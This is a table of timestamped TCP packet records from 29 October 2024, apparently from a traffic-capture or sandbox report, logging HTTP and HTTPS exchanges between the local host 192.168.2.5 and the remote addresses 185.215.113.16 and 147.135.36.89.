Oct 29, 2024 05:02:29.457587004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457640886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457649946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457657099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457684040 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457695007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457719088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457726002 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457727909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457743883 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457782984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457782984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457842112 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457849979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457904100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457931042 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457962990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.457974911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.457998991 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458050966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458050966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458085060 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458096027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458106041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458137035 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458165884 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458250999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458262920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458275080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458287954 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458302021 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458333969 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458453894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458492994 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458502054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458515882 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458544970 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458544970 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458554983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458566904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458606958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458637953 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458760977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458807945 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458820105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458818913 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458851099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458870888 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458878040 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458889008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458899021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.458935022 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.458967924 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.543740034 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.543754101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.543771982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.543801069 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.543853045 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573229074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573251963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573262930 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573282957 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573302984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573322058 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573333979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573349953 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573363066 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573371887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573385000 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573417902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573460102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573461056 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573482037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573498964 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573513031 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573573112 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573584080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573596001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573621035 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573636055 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573703051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573745966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573745966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573757887 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.573808908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.573848009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574632883 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574644089 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574656963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574676991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574696064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574698925 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574708939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574733973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574738979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574758053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574786901 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574786901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574799061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574826956 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574851990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574891090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574928045 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.574959040 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574970007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.574980974 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575004101 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575021982 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575175047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575190067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575201988 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575212955 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575225115 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575243950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575345993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575390100 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575426102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575447083 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575458050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575468063 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575473070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575544119 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575544119 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575544119 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575632095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575670004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575671911 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575683117 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575707912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575721979 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575768948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575804949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575840950 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575854063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575891972 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575900078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575911999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575923920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.575943947 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.575958014 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.660841942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.660865068 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.660876036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.660902023 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.660926104 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690274954 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690285921 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690296888 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690330029 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690340996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690351963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690363884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690365076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690392017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690407038 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690440893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690480947 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690519094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690530062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690541983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690557003 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690571070 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690587044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690705061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690716028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690748930 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690757990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690764904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690777063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690788984 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.690809011 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.690823078 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691534996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691555023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691565037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691605091 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691641092 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691653013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691664934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691684008 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691713095 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691817999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691829920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691845894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691857100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.691864967 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691890955 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691912889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.691998005 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692038059 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692045927 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692050934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692074060 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692087889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692122936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692157984 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692167044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692172050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692198992 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692214012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692415953 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692429066 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692440033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692467928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692481041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692491055 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692497015 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692509890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692534924 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692548990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692759037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692811966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692832947 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692846060 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692857027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692879915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692905903 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692917109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692928076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692939997 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692950010 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.692959070 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692969084 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.692996025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.693233013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.693244934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.693255901 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.693284988 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.693309069 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.711906910 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.711977959 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:29.714636087 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:29.714648008 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.714977980 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.720501900 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:29.763377905 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.777874947 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.777887106 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.777931929 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.777954102 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807384014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807404995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807415962 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807435036 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807466030 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807475090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807493925 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807504892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807512999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807523966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807528973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807554960 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807576895 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807605028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807616949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807626963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807652950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807665110 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807740927 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807785988 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807796001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.807802916 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.807837009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808507919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808522940 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808533907 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808561087 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808574915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808578014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808613062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808618069 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808625937 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808655977 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808677912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808696032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808706045 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808743000 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808908939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808917999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808928013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.808948994 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808959961 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.808990955 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809040070 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809062004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809072971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809082985 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809109926 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809120893 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809271097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809282064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809290886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809300900 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809313059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809333086 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809403896 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809447050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809449911 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809458971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809489965 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809503078 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809611082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809672117 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809708118 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809717894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809729099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809755087 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809775114 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809786081 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809797049 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809808016 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809823990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809849977 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.809936047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809947968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809958935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809968948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.809983015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.810002089 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.810215950 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.810277939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.810287952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.810355902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.810359001 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.810367107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.810391903 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.810420990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.900957108 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.901123047 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:29.901201010 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:29.924424887 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.924437046 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.924446106 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.924474001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.924484015 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.924504042 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.924559116 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:29.925000906 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.925012112 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:29.925023079 CET	80	49735	185.215.113.16	192.168.2.5
